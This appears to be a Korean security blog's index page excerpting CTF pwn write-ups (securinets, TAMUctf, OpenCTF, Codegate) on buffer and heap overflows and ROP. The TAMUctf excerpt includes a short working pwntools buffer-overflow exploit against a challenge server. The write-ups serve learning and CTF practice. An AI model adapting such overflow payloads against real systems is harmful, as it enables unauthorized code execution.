분류 전체보기 292

[securinets CTF 2018] Boobs

[securinets CTF 2018] Boobs 이번에 풀어볼 문제는 2018 3 25 ~ 2018 3 26까지 진행되었던 securinets CTF의 pwn 중 가장 높은 배점을 가지고 있는 문제입니다. 바이너리는 32bit입니다. flag를 얻기 위해서는 check 함수를 실행시켜서 flag를 저 값으로 바꿔주고, get_boobs 함수를 실행시키면 flag가 출력됩니다. 어떻게 함수 flow를 바꿔줄 수 있을까요! main 함수를 분석해보면 우선 이렇게 classroom이 만들어지고, 이렇게 옵션에 따라 course를 create 할 수도, edit 할 수도, delete 할 수도, publish 할 수도 있습니다. 분석해보면 자체적으로 연결 리스트 자료구조를 통해서 course를 관리합니다. p..

System&Write up/CTF 2018.03.27

[TAMUctf 2018] pwn1 ~ pwn5

[TAMUctf 18] pwn1 32bit 바이너리입니다. gets로 s에 입력 받기 때문에, v5를 0xF007BA11로 덮어줍시다. 그럼 flag가 출력될 것입니다. 1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import * s = remote("pwn.ctf.tamu.edu", 4322) print_flag = 0x804854b payload = "A"*(0xEF + 4) payload += p32(print_flag) s.sendline(payload) sleep(1) print s.recv() cs ex 코드입니다. flag가 출력됩니다. -------------------------------------------------------------------------..

System&Write up/CTF 2018.02.27

[OpenCTF 2016] tyro_heap

[OpenCTF 2016] tyro_heap NX가 걸려있는 32bit 바이너리입니다. 이 부분이 main 함수의 중요 기능 부분입니다. create heap object : 힙 오브젝트 생성 malloc으로 36byte 할당해줍니다. 객체는 총 32개를 생성할 수 있습니다. 그리고 맨 앞부분에 puts 함수의 주소를 저장해줍니다. read는 a와 b가 있습니다. 둘 다 함수 주소가 저장되어 있는 부분은 건너뛰고 입력을 받습니다. a는 %35s로 35byte만큼 입력을 받습니다. b는 while에 getchar로 그냥 쭉 입력을 받습니다. b 입력을 받을 때, heap overflow가 일어나게 됩니다. free object는 말 그대로 선택한 object를 free 하는 기능을 합니다. 그리고 객체는 ..

System&Write up/CTF 2018.02.22

[Codegate 2018] BaskinRobins31

[Codegate 2018] BaskinRobins31 -Jubil(|BAOBOB|) 64bit 바이너리이고, canary가 없습니다. main 함수입니다. 일단 소켓이 아니기 때문에 socket descriptor가 아닌 stdin과 stdout으로 입출력을 해줍시다. 밑에 Hint는 ROP라고 나옵니다.그리고 베라 게임 이기려고 하면 규칙을 어기고 숫자를 4개씩 불러버립니다. 하지만 신경 쓰지 말고 저희가 입력할 수 있는 함수, your_turn을 분석하겠습니다. 그냥 read에서 BOF가 터집니다.쉽게 취약점을 구했으니 ex 코드를 짜러 갑시다. 일단 0xb0(176)에 SFP(8)을 고려하면 return address는 184byte 뒤에 있을 것입니다. 64bit 리눅스에서는 RDI : 첫번째 ..

System&Write up/CTF 2018.02.09

[CTF] Codegate 2018 예선 (본선 진출!)

Codegate2018 예선 주니어부가 종료되었습니다. 저는 저 앞에 solver 많은 두 문제를 풀었는데요. 27등으로 마무리 했습니다. 닉네임으로 들어갈 줄 알았는데 팀이름으로 올라가서 조금 당황했습니다ㅠㅠ. 그리고 또 아쉬웠던 부분이 제일 처음 인증한 시간으로 동점자를 구분해서 의아했는데 bug였습니다. 그래도 본선가서 기분이 좋네요! 아직 한참 부족한 것 같습니다. 더 노력하겠습니다 :) 두 문제의 풀이는 나중에 올리겠습니다! 감사합니다. --------------------------------------------------------------------------------------------------------------------------------------------------..

[Codegate 2014] nuclear

[codegate_2014] nuclear (이 문제는 예전에 풀다가 놓고 다시 잡은 문제라서 코드나 여러 부분에서 불편함을 느끼실 수 있습니다. 양해 부탁드립니다.) 바이너리는 이렇습니다. 무슨 문제였을 지는 모르지만, 1129 포트로 소켓을 연결합니다. start_routine 함수에서, BOF 취약점이 발생합니다. 그래프로 따라 올라가보면, launch 명령을 입력하고, passcode를 맞췄을 때 호출하는 함수 속에, 있는 것을 확인 할 수 있습니다. 그럼 passcode를 일단 알아내야 합니다. passcode를 읽어서 변수에 저장하길래, 변수의 이름을 passcode로 바꿔줬습니다. 스택에는 이렇게 쌓입니다. v4, v5[4] 모두 0으로 초기화 되었습니다. s1을 %s로 출력합니다. “> “..

System&Write up/CTF 2018.01.31
반응형